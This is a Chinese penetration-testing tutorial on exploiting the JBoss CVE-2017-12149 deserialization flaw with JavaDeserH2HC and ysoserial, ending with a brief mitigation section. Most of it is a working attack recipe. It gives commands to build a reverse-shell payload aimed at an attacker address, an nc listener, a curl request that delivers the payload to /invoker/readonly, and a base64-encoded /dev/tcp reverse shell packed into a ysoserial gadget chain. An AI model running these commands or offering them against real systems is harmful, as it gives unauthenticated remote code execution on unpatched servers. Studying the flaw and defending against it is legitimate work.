CVE-2017-12149漏洞利用实战:JavaDeserH2HC与ysoserial工具链深度解析
在渗透测试和安全研究领域,JBoss反序列化漏洞(CVE-2017-12149)一直是个绕不开的话题。这个存在于JBoss AS 5.x/6.x版本中的高危漏洞,允许攻击者通过精心构造的序列化数据在目标服务器上执行任意代码。本文将聚焦两种主流利用工具——JavaDeserH2HC和ysoserial,通过实战对比分析它们的Payload生成机制和适用场景。
1. 漏洞原理与环境搭建
1.1 漏洞成因分析
CVE-2017-12149漏洞位于JBoss的HttpInvoker组件中,具体问题出在ReadOnlyAccessFilter过滤器的实现上。这个过滤器在处理/invoker/readonly路径的请求时,会直接反序列化客户端提交的POST数据,而没有任何安全检查机制。
关键漏洞点:
- 未验证的反序列化操作
- 默认开放的HttpInvoker服务
- Commons Collections库中的危险方法链
提示:该漏洞影响JBoss AS 5.x和6.x版本,攻击者无需任何认证即可利用。
1.2 实验环境配置
为了完整复现漏洞,我们需要搭建以下环境:
| 组件 | 版本要求 | 备注 |
|---|---|---|
| JBoss AS | 5.x或6.x | 推荐6.1.0.Final |
| JDK | 1.6+ | 需与JBoss版本兼容 |
| 攻击机 | Kali Linux | 预装必要工具 |
基础环境验证步骤:
- 启动JBoss服务后访问
http://[target]:8080/invoker/readonly - 若返回HTTP 500错误,说明漏洞可能存在
- 确认Commons Collections版本(通常为3.2.1)
# 检查JBoss服务状态 netstat -tulnp | grep 80802. JavaDeserH2HC工具链实战
2.1 工具原理剖析
JavaDeserH2HC是一个专门针对CVE-2017-12149开发的利用工具,它通过构造特殊的HashMap对象触发Commons Collections中的Transformer链实现命令执行。
核心组件:
ReverseShellCommonsCollectionsHashMap.java- Payload生成器commons-collections-3.2.1.jar- 必需的依赖库
2.2 完整利用流程
- 编译Payload生成器:
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java- 生成序列化Payload(以反弹shell为例):
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.1.100:4444- 设置监听端:
nc -lvnp 4444- 发送Payload:
curl http://target:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser优势对比:
- 专为CVE-2017-12149设计,可靠性高
- 生成Payload体积较小
- 无需额外依赖
3. ysoserial多场景利用
3.1 工具特性解析
ysoserial是一个更通用的Java反序列化漏洞利用框架,支持多种gadget链。对于JBoss漏洞,我们主要使用其CommonsCollections相关模块。
适用场景:
- 不同Java环境下的利用尝试
- 需要绕过特定防护措施时
- 多阶段攻击链构建
3.2 高级利用技巧
- 基本Payload生成:
java -jar ysoserial.jar CommonsCollections5 "command" > payload.ser- Base64编码的反弹shell:
# 生成编码后的命令 echo "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1" | base64 # 构造ysoserial命令 java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > shell.ser- 多版本兼容性测试:
| Gadget链 | 适用Java版本 | 特点 |
|---|---|---|
| CommonsCollections1 | <=1.7 | 最稳定 |
| CommonsCollections5 | >=1.8 | 绕过部分限制 |
| CommonsCollections7 | 特定环境 | 备用方案 |
注意:实际环境中需要根据目标Java版本选择合适的gadget链
4. 工具对比与防御建议
4.1 技术指标对比
| 特性 | JavaDeserH2HC | ysoserial |
|---|---|---|
| 开发目的 | 专用工具 | 通用框架 |
| Payload大小 | ~2KB | ~5KB |
| 依赖要求 | 仅需CC3.2.1 | 自带依赖 |
| 使用复杂度 | 简单 | 中等 |
| 扩展性 | 固定 | 可扩展 |
| 检测规避 | 较差 | 多种选择 |
4.2 防御方案实施
临时缓解措施:
- 删除
http-invoker.sar组件 - 限制
/invoker/readonly的访问 - 升级Commons Collections库
长期解决方案:
<!-- 在web.xml中添加安全约束 --> <security-constraint> <web-resource-collection> <url-pattern>/invoker/*</url-pattern> </web-resource-collection> <auth-constraint> <role-name>admin</role-name> </auth-constraint> </security-constraint>在实际渗透测试中,根据目标环境选择最合适的工具往往能事半功倍。JavaDeserH2HC在专一场景下表现稳定,而ysoserial则更适合需要灵活应对不同防御措施的情况。记得每次测试后清理生成的.ser文件,这些序列化数据本身就可能成为安全隐患。